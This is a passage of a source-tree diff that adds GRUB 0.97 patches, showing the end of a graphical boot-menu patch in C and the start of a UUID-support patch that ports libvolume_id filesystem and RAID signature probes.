++  return code_start;
++}
++
++static inline unsigned char * stack_ptr(void)
++{
++  unsigned char * u;
++
++  asm("movl %%esp, %0" : "=r" (u));
++
++  return u;
++}
++
++static void sleep(int delay)
++{
++  int tick, last_tick = currticks();
++
++  delay *= 18;
++
++  while(delay--) {
++    while((tick = currticks()) == last_tick) { }
++    last_tick = tick;
++  }
++}  
++
++static void wait_for_key()
++{
++  printf("Press a key to continue...");
++  getkey();
++  printf("\r                          \r");
++}
++
++
++/*
++ * Leave that much space on the heap. Everything else goes to the graphics
++ * functions.
++ *
++ * 0x2000 is _not_ enough
++ */
++#define MIN_HEAP_SIZE	0x4000
++#define MIN_GFX_FREE	0x1000
++
++#define SC_BOOTLOADER		0
++#define SC_FAILSAFE		3
++#define SC_SYSCONFIG_SIZE	4
++#define SC_BOOTLOADER_SEG	8
++#define SC_XMEM_0		24
++#define SC_XMEM_1		26
++#define SC_XMEM_2		28
++#define SC_XMEM_3		30
++#define SC_FILE			32
++#define SC_ARCHIVE_START	36
++#define SC_ARCHIVE_END		40
++#define SC_MEM0_START		44
++#define SC_MEM0_END		48
++
++/*
++ * Does normally not return.
++ */
++static void
++run_graphics_menu (char *menu_entries, char *config_entries, int num_entries,
++	  char *heap, int entryno)
++{
++  unsigned char *buf, *buf_ext;
++  unsigned buf_size, buf_ext_size, code_start, file_start;
++  char *s, *t, *t2, *cfg, *new_config, *p;
++  char *saved_heap;
++  int i, j, max_len, gfx_file_size, verbose;
++  int selected_entry;
++  gfx_data_t *gfx_data;
++  char *cmd_buf;
++  unsigned mem0_start, mem0_end, file_len;
++
++  /*
++   * check gfx_data_t struct offsets for consistency; gcc will optimize away
++   * the whole block
++   */
++
++  /* dummy function to make ld fail */
++  {
++    extern void wrong_struct_size(void);
++    #define gfx_ofs_check(a) if(gfx_ofs_##a != (char *) &gfx_data->a - (char *) gfx_data) wrong_struct_size();
++    gfx_ofs_check(ok);
++    gfx_ofs_check(code_seg);
++    gfx_ofs_check(jmp_table);
++    gfx_ofs_check(sys_cfg);
++    gfx_ofs_check(cmdline);
++    gfx_ofs_check(cmdline_len);
++    gfx_ofs_check(menu_list);
++    gfx_ofs_check(menu_default_entry);
++    gfx_ofs_check(menu_entries);
++    gfx_ofs_check(menu_entry_len);
++    gfx_ofs_check(args_list);
++    gfx_ofs_check(args_entry_len);
++    gfx_ofs_check(timeout);
++    #undef gfx_ofs_check
++  }
++
++  if(!num_entries) return;
++
++  graphics_data = gfx_data = (gfx_data_t *) heap;
++  heap += sizeof *gfx_data;
++  memset(gfx_data, 0, sizeof *gfx_data);
++
++  gfx_data->sys_cfg[SC_BOOTLOADER] = 2;			/* bootloader: grub */
++  gfx_data->sys_cfg[SC_SYSCONFIG_SIZE] = 52;		/* config data size */
++  *(unsigned short *) (gfx_data->sys_cfg + SC_BOOTLOADER_SEG) = (unsigned) gfx_data >> 4;	/* segment */
++  gfx_data->sys_cfg[SC_XMEM_0] = 0x28;			/* 8MB @ 2MB, see buf_ext below */
++  // gfx_data->sys_cfg[SC_XMEM_1] = 0xYZ;			/* Z MB @ Y MB */
++  verbose = (*(unsigned char *) 0x417) & 3 ? 1 : 0;	/* SHIFT pressed */
++  gfx_data->sys_cfg[SC_FAILSAFE] = verbose;
++
++  gfx_data->timeout = grub_timeout >= 0 ? grub_timeout : 0;
++
++
++  /* setup command line edit buffer */
++
++  gfx_data->cmdline_len = 256;
++
++  gfx_data->cmdline = heap;
++  heap += gfx_data->cmdline_len;
++  memset(gfx_data->cmdline, 0, gfx_data->cmdline_len);
++
++  cmd_buf = heap;
++  heap += GFX_CMD_BUF_SIZE;
++
++  /* setup menu entries */
++
++  for(i = max_len = 0; i < num_entries; i++) {
++    j = strlen(get_entry(menu_entries, i, 0));
++    if(j > max_len) max_len = j;
++  }
++
++  if(!max_len) return;
++
++  gfx_data->menu_entry_len = max_len + 1;
++  gfx_data->menu_entries = num_entries;
++
++  gfx_data->menu_list = heap;
++  heap += gfx_data->menu_entry_len * gfx_data->menu_entries;
++
++  memset(gfx_data->menu_list, 0, gfx_data->menu_entry_len * gfx_data->menu_entries);
++
++  for(i = 0; i < (int) gfx_data->menu_entries; i++) {
++    strcpy(gfx_data->menu_list + i * gfx_data->menu_entry_len, get_entry(menu_entries, i, 0));
++  }
++
++  gfx_data->menu_default_entry = gfx_data->menu_list + entryno * gfx_data->menu_entry_len;
++
++
++  /* setup list of kernel args */
++
++  for(i = max_len = 0; i < num_entries; i++) {
++    s = get_kernel_args(get_entry(config_entries, i, 1), cmd_buf);
++    j = strlen(s);
++    if(j > max_len) max_len = j;
++  }
++
++  gfx_data->args_entry_len = max_len + 1;
++
++  gfx_data->args_list = heap;
++  heap += gfx_data->args_entry_len * gfx_data->menu_entries;
++
++  memset(gfx_data->args_list, 0, gfx_data->args_entry_len * gfx_data->menu_entries);
++
++  for(i = 0; i < (int) gfx_data->menu_entries; i++) {
++    strcpy(gfx_data->args_list + i* gfx_data->args_entry_len, get_kernel_args(get_entry(config_entries, i, 1), cmd_buf));
++  }
++
++
++  /* go back here when we no longer need the graphics data */
++  saved_heap = heap;
++
++
++  /* get memory area to be used by graphics functions */
++
++  /* use 8MB starting at 2MB as file buffer; see SC_XMEM_0 above (A20 is enabled anyway) */
++  buf_ext = (unsigned char *) (2 << 20);
++  buf_ext_size = 8 << 20;
++
++  /* must be 16-byte aligned */
++  buf = (unsigned char *) (((unsigned) heap + 0xf) & ~0xf);
++
++  buf_size = stack_ptr() - buf - MIN_HEAP_SIZE;
++  buf_size &= ~0xf;
++
++  mem0_start = (unsigned) buf;
++  mem0_end = mem0_start + buf_size;
++
++  if(verbose) {
++    printf("low memory 0x%x - 0x%x (%d bytes)\n", mem0_start, mem0_end, buf_size);
++    wait_for_key();
++  }
++
++  heap += buf_size;
++
++  /* read the file */
++
++  if(!grub_open(graphics_file)) {
++    printf("%s: file not found\n", graphics_file);
++    sleep(5);
++    heap = saved_heap;
++    return;
++  }
++
++  gfx_file_size = grub_read(buf_ext, buf_ext_size);
++
++  grub_close();
++
++  if(gfx_file_size <= 0) {
++    printf("%s: read error\n", graphics_file);
++    sleep(5);
++    heap = saved_heap;
++    return;
++  }
++
++  if(verbose) {
++    printf("%s: %d bytes (%d bytes left)\n", graphics_file, gfx_file_size, buf_ext_size - gfx_file_size);
++    wait_for_key();
++  }
++
++  /* locate file inside cpio archive */
++  if(!(code_start = find_file(buf_ext, gfx_file_size, &file_start, &file_len))) {
++    printf("%s: invalid file format\n", graphics_file);
++    sleep(5);
++    heap = saved_heap;
++    return;
++  }
++
++  if(verbose) {
++    printf("init: start 0x%x, len %d; code offset 0x%x\n", file_start, file_len, code_start);
++    wait_for_key();
++  }
++
++  if(file_len - code_start + MIN_GFX_FREE > buf_size) {
++    printf("not enough free memory: %d extra bytes need\n", file_len - code_start + MIN_GFX_FREE - buf_size);
++    sleep(5);
++    heap = saved_heap;
++    return;
++  }
++
++  memcpy((void *) buf, (void *) (buf_ext + file_start + code_start), file_len - code_start);
++
++  mem0_start += file_len - code_start;
++  mem0_start = (mem0_start + 3) & ~3;		/* align */
++
++  /* init interface to graphics functions */
++
++  *(unsigned *) (gfx_data->sys_cfg + SC_FILE) = (unsigned) buf_ext + file_start;
++  *(unsigned *) (gfx_data->sys_cfg + SC_ARCHIVE_START) = (unsigned) buf_ext;
++  *(unsigned *) (gfx_data->sys_cfg + SC_ARCHIVE_END) = (unsigned) buf_ext + gfx_file_size;
++  *(unsigned *) (gfx_data->sys_cfg + SC_MEM0_START) = mem0_start;
++  *(unsigned *) (gfx_data->sys_cfg + SC_MEM0_END) = mem0_end;
++
++  gfx_data->code_seg = (unsigned) buf >> 4;
++
++  if(verbose) {
++    printf("init 0x%x, archive 0x%x - 0x%x, low mem 0x%x - 0x%x\ncode seg 0x%x\n",
++      (unsigned) buf_ext + file_start,
++      (unsigned) buf_ext, (unsigned) buf_ext + gfx_file_size,
++      mem0_start, mem0_end, gfx_data->code_seg
++    );
++    wait_for_key();
++  }
++
++  for(i = 0; (unsigned) i < sizeof gfx_data->jmp_table / sizeof *gfx_data->jmp_table; i++) {
++    gfx_data->jmp_table[i] = (gfx_data->code_seg << 16) + ((unsigned short *) buf)[i];
++  }
++
++  if(verbose) {
++    for(i = 0; i < 12; i++) {
++      printf("%d: 0x%x\n", i, gfx_data->jmp_table[i]);
++    }
++
++    for(i = 0; i < gfx_data->menu_entries; i++) {
++      printf("\"%s\"  --  \"%s\"\n",
++        gfx_data->menu_list + i * gfx_data->menu_entry_len,
++        gfx_data->args_list + i * gfx_data->args_entry_len
++      );
++    }
++
++    printf("default: \"%s\"\n", gfx_data->menu_default_entry);
++    wait_for_key();
++  }
++
++  /* switch to graphics mode */
++
++  if(gfx_init(gfx_data)) {
++    printf("graphics initialization failed\n");
++    sleep(5);
++    heap = saved_heap;
++    return;
++  }
++
++  gfx_setup_menu(gfx_data);
++
++  i = gfx_input(gfx_data, &selected_entry);
++
++  /* ESC -> show text menu */
++  if(i == 1) {
++    gfx_done(gfx_data);
++    grub_timeout = -1;
++
++    heap = saved_heap;
++    return;
++  }
++
++  gfx_done(gfx_data);
++
++  heap = saved_heap;	/* free most of the graphics data */
++
++  // printf("cmdline: >%s<, entry = %d\n", gfx_data->cmdline, selected_entry);
++
++  if(selected_entry < 0 || selected_entry > num_entries) return;
++
++  /* for 'savedefault' */
++  current_entryno = selected_entry;
++
++
++  /* create new config with modified kernel option */
++
++  cfg = get_entry(config_entries, selected_entry, 1);
++
++  new_config = heap;
++
++  for(p = gfx_data->cmdline, i = 0; ; i++) {
++    s = get_entry(cfg, i, 0);
++    if(!*s) {
++      if(!i) *heap++ = 0;
++      *heap++ = 0;
++      break;
++    }
++    /* note: must match get_kernel_args() */
++    if(
++      (!memcmp(s, "kernel", 6) || !memcmp(s, "module", 6)) &&
++      (s[6] == ' ' || s[6] == '\t')
++    ) {
++      t = skip_to(0, s);
++      t2 = s[0] == 'm' ? strstr(t, "initrd") : NULL;
++      if(*t) t = skip_to(0, t);
++      if(t2 && t2 < t) {	/* module is likely a normal initrd -> skip */
++        strcpy(heap, s);
++        heap += strlen(s) + 1;
++        continue;
++      }
++      memmove(heap, s, t - s);
++      heap += t - s;
++      *heap++ = ' ';
++      while(*p && *p != GFX_CMD_SEP) *heap++ = *p++;
++      *heap++ = 0;
++      if(*p == GFX_CMD_SEP) p++;
++    }
++    else {
++      strcpy(heap, s);
++      heap += strlen(s) + 1;
++    }
++  }
++
++  *heap++ = 0;
++
++  // hexdump(new_config, heap - new_config);
++  // getkey();
++
++  run_script(new_config, heap);
++}
++
++
+ static int
+ get_line_from_config (char *cmdline, int maxlen, int read_from_file)
+ {
+@@ -1059,9 +1557,12 @@ cmain (void)
+ 	}
+       else
+ 	{
+-	  /* Run menu interface.  */
+-	  run_menu (menu_entries, config_entries, num_entries,
+-		    menu_entries + menu_len, default_entry);
++	  if (*graphics_file && !password && show_menu && grub_timeout)
++	    {
++	      run_graphics_menu(menu_entries, config_entries, num_entries,menu_entries + menu_len, default_entry);
++	    }
++	    /* Run menu interface.  */
++            run_menu (menu_entries, config_entries, num_entries, menu_entries + menu_len, default_entry);
+ 	}
+     }
+ }
diff --git a/sys-boot/grub/files/grub-0.97-uuid.patch b/sys-boot/grub/files/grub-0.97-uuid.patch
new file mode 100644
index 00000000..f99670a8
--- /dev/null
+++ b/sys-boot/grub/files/grub-0.97-uuid.patch
@@ -0,0 +1,5406 @@
+=== modified file 'Makefile.am'
+--- grub-0.97.orig/Makefile.am	2004-04-23 13:39:01 +0000
++++ grub-0.97/Makefile.am	2008-07-09 17:23:44 +0000
+@@ -1,4 +1,9 @@
+ # Do not change this order if you don't know what you are doing.
+ AUTOMAKE_OPTIONS = 1.7 gnu
+-SUBDIRS = netboot stage2 stage1 lib grub util docs
++if UUID_SUPPORT
++SUBDIRS = libvolume_id netboot stage2 stage1 lib grub util docs 
++else
++SUBDIRS = netboot stage2 stage1 lib grub util docs 
++endif
++
+ EXTRA_DIST = BUGS MAINTENANCE
+
+=== modified file 'configure.ac'
+--- grub-0.97.orig/configure.ac	2008-01-28 18:41:45 +0000
++++ grub-0.97/configure.ac	2008-07-09 17:23:44 +0000
+@@ -605,6 +606,11 @@
+   [  --disable-serial        disable serial terminal support])
+ AM_CONDITIONAL(SERIAL_SUPPORT, test "x$enable_serial" != xno)
+ 
++dnl UUID scanning
++AC_ARG_ENABLE(uuid,
++  [  --disable-uuid          disable uuid scanning support])
++AM_CONDITIONAL(UUID_SUPPORT, test "x$enable_uuid" != xno)
++
+ dnl Simulation of the slowness of a serial device.
+ AC_ARG_ENABLE(serial-speed-simulation,
+   [  --enable-serial-speed-simulation
+@@ -666,5 +672,6 @@
+ 		 docs/Makefile lib/Makefile util/Makefile \
+ 		 grub/Makefile netboot/Makefile util/grub-image \
+ 		 util/grub-install util/grub-md5-crypt \
+-		 util/grub-terminfo util/grub-set-default])
++		 util/grub-terminfo util/grub-set-default \
++		 libvolume_id/Makefile])
+ AC_OUTPUT
+
+=== modified file 'grub/Makefile.am'
+--- grub-0.97.orig/grub/Makefile.am	2005-02-02 20:40:05 +0000
++++ grub-0.97/grub/Makefile.am	2008-07-09 17:23:44 +0000
+@@ -16,4 +16,9 @@
+ AM_CFLAGS = $(GRUB_CFLAGS)
+ 
+ grub_SOURCES = main.c asmstub.c
+-grub_LDADD = ../stage2/libgrub.a  ../lib/libcommon.a $(GRUB_LIBS)
++
++if UUID_SUPPORT
++grub_LDADD = ../stage2/libgrub.a ../lib/libcommon.a ../libvolume_id/libvolume_id.a $(GRUB_LIBS)
++else
++grub_LDADD = ../stage2/libgrub.a ../lib/libcommon.a $(GRUB_LIBS)
++endif
+
+=== added directory 'libvolume_id'
+=== added file 'libvolume_id/Makefile.am'
+--- grub-0.97.orig/libvolume_id/Makefile.am	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/Makefile.am	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,27 @@
++noinst_LIBRARIES = libvolume_id.a
++
++AM_CFLAGS = $(STAGE2_CFLAGS) -I$(top_srcdir)/stage2 -I$(top_srcdir)/stage1
++
++LIBVOLUME_ID_FS_SUPPORTED = 	ext.c fat.c hfs.c jfs.c  \
++			 	luks.c ntfs.c ocfs.c reiserfs.c \
++			 	xfs.c 
++
++LIBVOLUME_ID_FS_UNSUPPORTED = 	cramfs.c gfs.c hpfs.c iso9660.c \
++			 	lvm.c minix.c romfs.c squashfs.c \
++				sysv.c udf.c ufs.c vxfs.c
++
++LIBVOLUME_ID_RAID_SUPPORTED = 	ddf_raid.c 
++
++LIBVOLUME_ID_RAID_UNSUPPORTED = adaptec_raid.c highpoint.c isw_raid.c \
++				jmicron_raid.c linux_raid.c lsi_raid.c \
++				nvidia_raid.c promise_raid.c silicon_raid.c \
++				via_raid.c 
++
++LIBVOLUME_ID_MISC_UNSUPPORTED = linux_swap.c netware.c
++
++libvolume_id_a_SOURCES = 	$(LIBVOLUME_ID_FS_SUPPORTED) \
++   			 	$(LIBVOLUME_ID_RAID_SUPPORTED) \
++				$(LIBVOLUME_ID_FS_UNSUPPORTED) \
++				$(LIBVOLUME_ID_RAID_UNSUPPORTED) \
++			 	volume_id.h volume_id.c util.c util.h misc.c 
++
+
+=== added file 'libvolume_id/adaptec_raid.c'
+--- grub-0.97.orig/libvolume_id/adaptec_raid.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/adaptec_raid.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,107 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2006 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct adaptec_meta {
++	uint32_t	b0idcode;
++	uint8_t		lunsave[8];
++	uint16_t	sdtype;
++	uint16_t	ssavecyl;
++	uint8_t		ssavehed;
++	uint8_t		ssavesec;
++	uint8_t		sb0flags;
++	uint8_t		jbodEnable;
++	uint8_t		lundsave;
++	uint8_t		svpdirty;
++	uint16_t	biosInfo;
++	uint16_t	svwbskip;
++	uint16_t	svwbcln;
++	uint16_t	svwbmax;
++	uint16_t	res3;
++	uint16_t	svwbmin;
++	uint16_t	res4;
++	uint16_t	svrcacth;
++	uint16_t	svwcacth;
++	uint16_t	svwbdly;
++	uint8_t		svsdtime;
++	uint8_t		res5;
++	uint16_t	firmval;
++	uint16_t	firmbln;
++	uint32_t	firmblk;
++	uint32_t	fstrsvrb;
++	uint16_t	svBlockStorageTid;
++	uint16_t	svtid;
++	uint8_t		svseccfl;
++	uint8_t		res6;
++	uint8_t		svhbanum;
++	uint8_t		resver;
++	uint32_t	drivemagic;
++	uint8_t		reserved[20];
++	uint8_t		testnum;
++	uint8_t		testflags;
++	uint16_t	maxErrorCount;
++	uint32_t	count;
++	uint32_t	startTime;
++	uint32_t	interval;
++	uint8_t		tstxt0;
++	uint8_t		tstxt1;
++	uint8_t		serNum[32];
++	uint8_t		res8[102];
++	uint32_t	fwTestMagic;
++	uint32_t	fwTestSeqNum;
++	uint8_t		fwTestRes[8];
++	uint8_t		smagic[4];
++	uint32_t	raidtbl;
++	uint16_t	raidline;
++	uint8_t		res9[0xF6];
++} PACKED;
++
++int volume_id_probe_adaptec_raid(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	uint64_t meta_off;
++	struct adaptec_meta *ad;
++
++	info("probing at offset 0x%llx, size 0x%llx",
++	    (unsigned long long) off, (unsigned long long) size);
++
++	if (size < 0x10000)
++		return -1;
++
++	meta_off = ((size / 0x200)-1) * 0x200;
++	buf = volume_id_get_buffer(id, off + meta_off, 0x200);
++	if (buf == NULL)
++		return -1;
++
++	ad = (struct adaptec_meta *) buf;
++	if (memcmp((char*)ad->smagic, "DPTM", 4) != 0)
++		return -1;
++
++	if (ad->b0idcode != be32_to_cpu(0x37FC4D1E))
++		return -1;
++
++	volume_id_set_usage(id, VOLUME_ID_RAID);
++	sprintf(id->type_version, "%u", ad->resver);
++	id->type = "adaptec_raid_member";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/cramfs.c'
+--- grub-0.97.orig/libvolume_id/cramfs.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/cramfs.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,60 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct cramfs_super {
++	uint8_t		magic[4];
++	uint32_t	size;
++	uint32_t	flags;
++	uint32_t	future;
++	uint8_t		signature[16];
++	struct cramfs_info {
++		uint32_t	crc;
++		uint32_t	edition;
++		uint32_t	blocks;
++		uint32_t	files;
++	} PACKED info;
++	uint8_t		name[16];
++} PACKED;
++
++int volume_id_probe_cramfs(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	struct cramfs_super *cs;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	cs = (struct cramfs_super *) volume_id_get_buffer(id, off, 0x200);
++	if (cs == NULL)
++		return -1;
++
++	if (memcmp((char*)cs->magic, "\x45\x3d\xcd\x28", 4) == 0 || memcmp((char*)cs->magic, "\x28\xcd\x3d\x45", 4) == 0) {
++		volume_id_set_label_raw(id, cs->name, 16);
++		volume_id_set_label_string(id, cs->name, 16);
++
++		volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++		id->type = "cramfs";
++		return 0;
++	}
++
++	return -1;
++}
+
+=== added file 'libvolume_id/ddf_raid.c'
+--- grub-0.97.orig/libvolume_id/ddf_raid.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/ddf_raid.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,60 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2007 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++/* http://www.snia.org/standards/home */
++
++#define DDF_HEADER			0xDE11DE11
++#define DDF_GUID_LENGTH			24
++#define DDF_REV_LENGTH			8
++
++static struct ddf_header {
++	uint32_t	signature;
++	uint32_t	crc;
++	uint8_t		guid[DDF_GUID_LENGTH];
++	uint8_t		ddf_rev[DDF_REV_LENGTH];
++} PACKED *ddf;
++
++int volume_id_probe_ddf_raid(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	uint64_t ddf_off = ((size / 0x200)-1) * 0x200;
++	const uint8_t *buf;
++
++	info("probing at offset 0x%llx, size 0x%llx",
++	    (unsigned long long) off, (unsigned long long) size);
++	if (size < 0x10000)
++		return -1;
++
++	buf = volume_id_get_buffer(id, off + ddf_off, 0x200);
++	if (buf == NULL)
++		return -1;
++	ddf = (struct ddf_header *) buf;
++
++	if (ddf->signature != cpu_to_be32(DDF_HEADER))
++		return -1;
++
++	volume_id_set_uuid(id, ddf->guid, DDF_GUID_LENGTH, UUID_STRING);
++	strcpy(id->type_version, (char*) ddf->ddf_rev);
++	volume_id_set_usage(id, VOLUME_ID_RAID);
++	id->type = "ddf_raid_member";
++	return 0;
++}
+
+=== added file 'libvolume_id/ext.c'
+--- grub-0.97.orig/libvolume_id/ext.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/ext.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,129 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct ext2_super_block {
++	uint32_t	s_inodes_count;
++	uint32_t	s_blocks_count;
++	uint32_t	s_r_blocks_count;
++	uint32_t	s_free_blocks_count;
++	uint32_t	s_free_inodes_count;
++	uint32_t	s_first_data_block;
++	uint32_t	s_log_block_size;
++	uint32_t	s_log_frag_size;
++	uint32_t	s_blocks_per_group;
++	uint32_t	s_frags_per_group;
++	uint32_t	s_inodes_per_group;
++	uint32_t	s_mtime;
++	uint32_t	s_wtime;
++	uint16_t	s_mnt_count;
++	uint16_t	s_max_mnt_count;
++	uint16_t	s_magic;
++	uint16_t	s_state;
++	uint16_t	s_errors;
++	uint16_t	s_minor_rev_level;
++	uint32_t	s_lastcheck;
++	uint32_t	s_checkinterval;
++	uint32_t	s_creator_os;
++	uint32_t	s_rev_level;
++	uint16_t	s_def_resuid;
++	uint16_t	s_def_resgid;
++	uint32_t	s_first_ino;
++	uint16_t	s_inode_size;
++	uint16_t	s_block_group_nr;
++	uint32_t	s_feature_compat;
++	uint32_t	s_feature_incompat;
++	uint32_t	s_feature_ro_compat;
++	uint8_t		s_uuid[16];
++	uint8_t		s_volume_name[16];
++} PACKED;
++
++#define EXT_SUPER_MAGIC				0xEF53
++#define EXT3_FEATURE_COMPAT_HAS_JOURNAL		0x0004
++#define EXT3_FEATURE_INCOMPAT_JOURNAL_DEV	0x0008
++#define EXT3_FEATURE_INCOMPAT_EXTENTS		0x0040
++#define EXT4_FEATURE_INCOMPAT_64BIT		0x0080
++#define EXT4_FEATURE_INCOMPAT_MMP		0x0100
++
++#define EXT_SUPERBLOCK_OFFSET			0x400
++
++#define EXT3_MIN_BLOCK_SIZE			0x400
++#define EXT3_MAX_BLOCK_SIZE			0x1000
++
++int volume_id_probe_ext(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	struct ext2_super_block *es;
++	size_t bsize;
++	uint32_t feature_compat;
++	uint32_t feature_incompat;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	es = (struct ext2_super_block *) volume_id_get_buffer(id, off + EXT_SUPERBLOCK_OFFSET, 0x200);
++	if (es == NULL)
++		return -1;
++
++	if (es->s_magic != cpu_to_le16(EXT_SUPER_MAGIC))
++		return -1;
++
++	bsize = 0x400 << le32_to_cpu(es->s_log_block_size);
++	dbg("ext blocksize 0x%zx", bsize);
++	if (bsize < EXT3_MIN_BLOCK_SIZE || bsize > EXT3_MAX_BLOCK_SIZE) {
++		dbg("invalid ext blocksize");
++		return -1;
++	}
++
++	volume_id_set_label_raw(id, es->s_volume_name, 16);
++	volume_id_set_label_string(id, es->s_volume_name, 16);
++	volume_id_set_uuid(id, es->s_uuid, 0, UUID_DCE);
++	sprintf(id->type_version, "%u.%u",
++		 le32_to_cpu(es->s_rev_level), le16_to_cpu(es->s_minor_rev_level));
++
++	feature_compat = le32_to_cpu(es->s_feature_compat);
++	feature_incompat = le32_to_cpu(es->s_feature_incompat);
++
++	/* check for external journal device */
++	if ((feature_incompat & EXT3_FEATURE_INCOMPAT_JOURNAL_DEV) != 0) {
++		volume_id_set_usage(id, VOLUME_ID_OTHER);
++		id->type = "jbd";
++		goto out;
++	}
++
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++
++	if ((feature_incompat & EXT3_FEATURE_INCOMPAT_EXTENTS) != 0 ||
++	    (feature_incompat & EXT4_FEATURE_INCOMPAT_64BIT) != 0 ||
++	    (feature_incompat & EXT4_FEATURE_INCOMPAT_MMP) != 0) {
++		id->type = "ext4";
++		goto out;
++	}
++
++	if ((feature_compat & EXT3_FEATURE_COMPAT_HAS_JOURNAL) != 0) {
++		id->type = "ext3";
++		goto out;
++	}
++
++	id->type = "ext2";
++
++out:
++	return 0;
++}
+
+=== added file 'libvolume_id/fat.c'
+--- grub-0.97.orig/libvolume_id/fat.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/fat.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,482 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004-2007 Kay Sievers <kay.sievers@vrfy.org>
++ * Copyright (C) 2007 Ryan Lortie <desrt@desrt.ca>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++#define FAT12_MAX			0xff5
++#define FAT16_MAX			0xfff5
++#define FAT_ATTR_VOLUME_ID		0x08
++#define FAT_ATTR_DIR			0x10
++#define FAT_ATTR_LONG_NAME		0x0f
++#define FAT_ATTR_MASK			0x3f
++#define FAT_ENTRY_FREE			0xe5
++
++#define VFAT_LFN_SEQ_MASK		0x3f
++#define VFAT_LFN_SEQ_LAST		0x40
++#define VFAT_LFN_SEQ_MAX		20
++#define VFAT_LFN_CHARS_PER_ENTRY	(5 + 6 + 2)
++#define VFAT_LOWERCASE_NAME		0x10
++#define VFAT_LOWERCASE_EXT		0x08
++
++struct vfat_super_block {
++	uint8_t		boot_jump[3];
++	uint8_t		sysid[8];
++	uint16_t	sector_size;
++	uint8_t		sectors_per_cluster;
++	uint16_t	reserved;
++	uint8_t		fats;
++	uint16_t	dir_entries;
++	uint16_t	sectors;
++	uint8_t		media;
++	uint16_t	fat_length;
++	uint16_t	secs_track;
++	uint16_t	heads;
++	uint32_t	hidden;
++	uint32_t	total_sect;
++	union {
++		struct fat_super_block {
++			uint8_t		unknown[3];
++			uint8_t		serno[4];
++			uint8_t		label[11];
++			uint8_t		magic[8];
++			uint8_t		dummy2[192];
++			uint8_t		pmagic[2];
++		} PACKED fat;
++		struct fat32_super_block {
++			uint32_t	fat32_length;
++			uint16_t	flags;
++			uint8_t		version[2];
++			uint32_t	root_cluster;
++			uint16_t	fsinfo_sector;
++			uint16_t	backup_boot;
++			uint16_t	reserved2[6];
++			uint8_t		unknown[3];
++			uint8_t		serno[4];
++			uint8_t		label[11];
++			uint8_t		magic[8];
++			uint8_t		dummy2[164];
++			uint8_t		pmagic[2];
++		} PACKED fat32;
++	} PACKED type;
++} PACKED;
++
++struct fat32_fsinfo {
++	uint8_t signature1[4];
++	uint32_t reserved1[120];
++	uint8_t signature2[4];
++	uint32_t free_clusters;
++	uint32_t next_cluster;
++	uint32_t reserved2[4];
++} PACKED;
++
++struct vfat_dir_entry {
++	uint8_t		name[11];
++	uint8_t		attr;
++	uint8_t		lowercase;
